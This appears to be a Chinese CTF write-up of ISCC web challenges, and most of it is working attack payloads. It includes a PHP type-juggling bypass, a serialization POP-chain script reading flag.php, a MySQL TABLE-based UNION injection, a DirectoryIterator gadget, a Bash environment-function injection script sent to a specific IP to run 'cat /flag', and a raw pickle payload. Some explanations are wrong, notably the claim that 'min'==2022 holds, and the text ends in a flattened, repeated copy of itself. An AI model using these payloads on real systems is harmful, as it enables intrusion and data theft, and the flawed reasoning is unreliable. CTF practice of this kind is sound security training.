iscc部分web的wp(除0解)
字数 1034 2025-08-12 11:33:41

ISCC Web题目解题思路与技巧详解

冬奥会题目解析

题目代码分析

<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
    var_dump($info);
    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}
if($Step1 && $Step2){
    include "2022flag.php";
    echo $flag;
}
?>

绕过条件分析

  1. Step1条件

    • year不能是数字类型
    • year的值在比较时必须等于2022
  2. Step2条件

    • items必须是数组且长度为3
    • items[1]必须是数组
    • items中必须包含"skiing"但不能直接等于"skiing"

构造Payload

?Information={"year":"min","items":[0,[],"a"]}

原理

  • 使用字符串"min"绕过is_numeric检查
  • PHP弱类型比较时"min"==2022为真
  • items数组构造为[0,[],"a"]满足所有条件

Pop2022题目解析

反序列化漏洞利用

类结构分析

class Road_is_Long {
    public $page;
    public $string;
    // __toString和__wakeup方法
}

class Try_Work_Hard {
    protected $var;
    // __invoke方法
}

class Make_a_Change {
    public $effort;
    // __get方法
}

构造POP链

  1. 触发Road_is_Long的__toString
  2. 触发Make_a_Change的__get
  3. 触发Try_Work_Hard的__invoke
  4. 利用文件包含读取flag.php

最终Payload

<?php
class Try_Work_Hard{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file) {
        $this->page = $file;
    }
}
class Make_a_Change{
    public $effort;
}

$a = new Road_is_Long('aaa');
$a->string = new Make_a_Change();
$a->string->effort = new Try_Work_Hard();
$b = new Road_is_Long($a);
echo urlencode(serialize($b));

Easy-SQL题目解析

MySQL8特性利用

当select被过滤时,使用TABLE语句替代:

?id=-1 union table emails limit 7,1

关键点

  • MySQL8支持TABLE语句查询表数据
  • 绕过select过滤的限制

findme题目解析

PHP反序列化利用原生类

利用DirectoryIterator类枚举文件

class a{
    public $un0="DirectoryIterator";
    public $un1="glob:///var/www/html/f*.txt";
    public $un2;
    public $un3="unserialize";
    public $un4="abcd";
}

关键步骤

  1. 发现flag文件路径为/fl4g
  2. 通过HTTP走私攻击访问内部路径

ping2rce题目解析

CGI环境变量注入

利用Bash环境变量注入实现RCE:

import requests

url = 'http://59.110.159.206:8010/cgi-bin/ping?ip=127.0.0.1'
filename = 'BASH_FUNC_ping%%'
data = {filename: (None, '() { cat /flag; }')}
res = requests.post(url=url, files=data)
print(res.text)

Melody题目解析

Flask Session伪造

  1. 获取session-key: meldoy-is-so-cute-wawawa!
  2. 伪造admin session

Pickle反序列化绕过

构造特殊payload覆盖模板变量:

import base64
data=b'''c__main__melody(S'name'S"melody"S"hug"S"2"db0(c__main__registerS"melody"S"hug"o.'''
print(base64.b64encode(data))

通用技巧总结

  1. PHP类型混淆:利用弱类型比较特性
  2. POP链构造:分析魔术方法的调用链
  3. MySQL绕过:使用新特性替代被过滤的关键字
  4. SSRF绕过:使用特殊URL格式绕过限制
  5. 反序列化利用原生类:DirectoryIterator、SimpleXMLElement等
  6. HTTP走私:利用协议解析差异访问内部资源
  7. 环境变量注入:CGI环境下Bash的特殊漏洞
  8. Session伪造:获取密钥后生成任意session
  9. Pickle绕过:构造特殊对象覆盖关键变量

以上为ISCC Web题目的详细解题思路和关键技术点,涵盖了PHP、Python、MySQL等多种环境下的漏洞利用方法。

ISCC Web题目解题思路与技巧详解 冬奥会题目解析 题目代码分析 绕过条件分析 Step1条件 : year 不能是数字类型 year 的值在比较时必须等于2022 Step2条件 : items 必须是数组且长度为3 items[1] 必须是数组 items 中必须包含"skiing"但不能直接等于"skiing" 构造Payload 原理 : 使用字符串"min"绕过is_ numeric检查 PHP弱类型比较时"min"==2022为真 items数组构造为[ 0,[],"a" ]满足所有条件 Pop2022题目解析 反序列化漏洞利用 类结构分析 : 构造POP链 触发Road_ is_ Long的__ toString 触发Make_ a_ Change的__ get 触发Try_ Work_ Hard的__ invoke 利用文件包含读取flag.php 最终Payload Easy-SQL题目解析 MySQL8特性利用 当select被过滤时,使用TABLE语句替代: 关键点 MySQL8支持TABLE语句查询表数据 绕过select过滤的限制 findme题目解析 PHP反序列化利用原生类 利用DirectoryIterator类枚举文件 : 关键步骤 发现flag文件路径为/fl4g 通过HTTP走私攻击访问内部路径 ping2rce题目解析 CGI环境变量注入 利用Bash环境变量注入实现RCE: Melody题目解析 Flask Session伪造 获取session-key: meldoy-is-so-cute-wawawa! 伪造admin session Pickle反序列化绕过 构造特殊payload覆盖模板变量: 通用技巧总结 PHP类型混淆 :利用弱类型比较特性 POP链构造 :分析魔术方法的调用链 MySQL绕过 :使用新特性替代被过滤的关键字 SSRF绕过 :使用特殊URL格式绕过限制 反序列化利用原生类 :DirectoryIterator、SimpleXMLElement等 HTTP走私 :利用协议解析差异访问内部资源 环境变量注入 :CGI环境下Bash的特殊漏洞 Session伪造 :获取密钥后生成任意session Pickle绕过 :构造特殊对象覆盖关键变量 以上为ISCC Web题目的详细解题思路和关键技术点,涵盖了PHP、Python、MySQL等多种环境下的漏洞利用方法。